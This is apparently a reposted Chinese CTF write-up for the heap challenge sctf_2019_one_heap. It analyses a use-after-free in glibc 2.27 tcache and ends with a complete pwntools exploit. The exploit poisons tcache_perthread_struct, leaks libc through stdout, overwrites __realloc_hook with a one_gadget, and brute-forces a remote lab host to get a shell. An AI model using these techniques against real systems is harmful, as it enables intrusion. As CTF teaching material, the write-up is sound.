其他分享
首页 > 其他分享> > sctf_2019_one_heap

sctf_2019_one_heap

作者:互联网

目录

sctf_2019_one_heap

总结

根据本题,学习与收获有:

题目分析

checksec

image-20210503180503385

题目的环境为ubuntu 18,并且保护全开。

函数分析

main

image-20210504134146571

image-20210504134408474

这个函数名是我自己取的,是为了方便理解。这里只有两个选项,只能newdelete。接下来,分别看一下这两个选项。

new_note

image-20210504134555468

需要注意的点有:

delete_note

image-20210504134737467

需要注意的点:

漏洞点

漏洞出现在delete_note函数处,这里存在UAF漏洞。由于程序的运行环境为ubuntu 18,那么在libc-2.27.so的前几个版本中,引入的tcache bin机制是缺乏校验机制的。也就是,即使对tcache bin chunk重复释放,也不会引发任何异常。比fastbin chunk的约束更少,一来不检查size域,二来也不检查是否重复释放。

但是,程序只提供一个ptr指针来进行堆操作,因此,需要劫持一下tcache_perthread_struct这个结构体。

利用思路

知识点

很多知识点在之前的一些博客里面已经讲过了,这里不再赘叙。

利用过程

步骤:

EXP

调试过程

远程需要爆破tcache_perthread_struct的低2位字节,与stdout结构体的低2位字节,远程爆破效果为:

image-20210504145941441

爆破了218次才成功!

完整exp

from pwn import *

# sh:tube = process("./sctf_2019_one_heap")
context.update(arch="amd64", os="linux", endian="little")
sh = remote("node3.buuoj.cn", 26663)
cur_elf = ELF("./sctf_2019_one_heap")
libc = cur_elf.libc

def LOG_ADDR(*args):
    pass

context.update(arch="amd64", os="linux", endian="little")

def new_note(size, content="id"):
    sh.sendlineafter("Your choice:", '1')
    sh.sendlineafter("Input the size:", str(size))
    sh.sendlineafter("Input the content:", content)


def del_note():
    sh.sendlineafter("Your choice:", '2')

def attack(first, second):
    new_note(0x70)
    del_note()
    del_note()

    new_note(0x70, p16((first << 8) | 0x10))
    new_note(0x70)
    layout = [0, 0, 0, 0, 0x07000000]
    new_note(0x70, flat(layout))
    del_note()

    new_note(0x40, p64(0) * 5)

    new_note(0x10, flat(0, p16((second << 8) | 0x60)))
    del_note()

    new_note(0x40, flat(0xfbad1887, 0, 0, 0, "\x58"))
    msg = sh.recvn(8)
    leak_addr = u64(msg)
    LOG_ADDR("leak_addr", leak_addr)
    libc_base_addr = leak_addr - 0x3e82a0
    realloc_hook_addr = libc_base_addr + libc.sym["__realloc_hook"]
    realloc_addr = libc_base_addr + libc.sym["realloc"]

    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base_addr + gadgets[2]
    new_note(0x10, flat(0, p64(realloc_hook_addr)[:6]))

    new_note(0x40, flat(one_gadget, realloc_addr+0x4))

    new_note(0x10)
    try:
        sh.sendline("id")
        sh.recvline_contains("uid", timeout=2)
        sh.sendline("cat flag")
        sh.interactive()
    except:
        try:
            sh.close()
        except:
            pass

if __name__ == "__main__":
    n = 0x1000
    while n > 0:
        log.success("counts: {}".format(0x1000 - n))
        try:
            attack(0x60, 0x67)
        except:
            pass
        # sh = process("./sctf_2019_one_heap")
        sh = remote("node3.buuoj.cn", 26663)
        n -= 1

引用与参考

1、My Blog

2、Ctf Wiki

标签:tcache,addr,libc,sctf,note,sh,2019,heap,new
来源: https://www.cnblogs.com/LynneHuan/p/14730087.html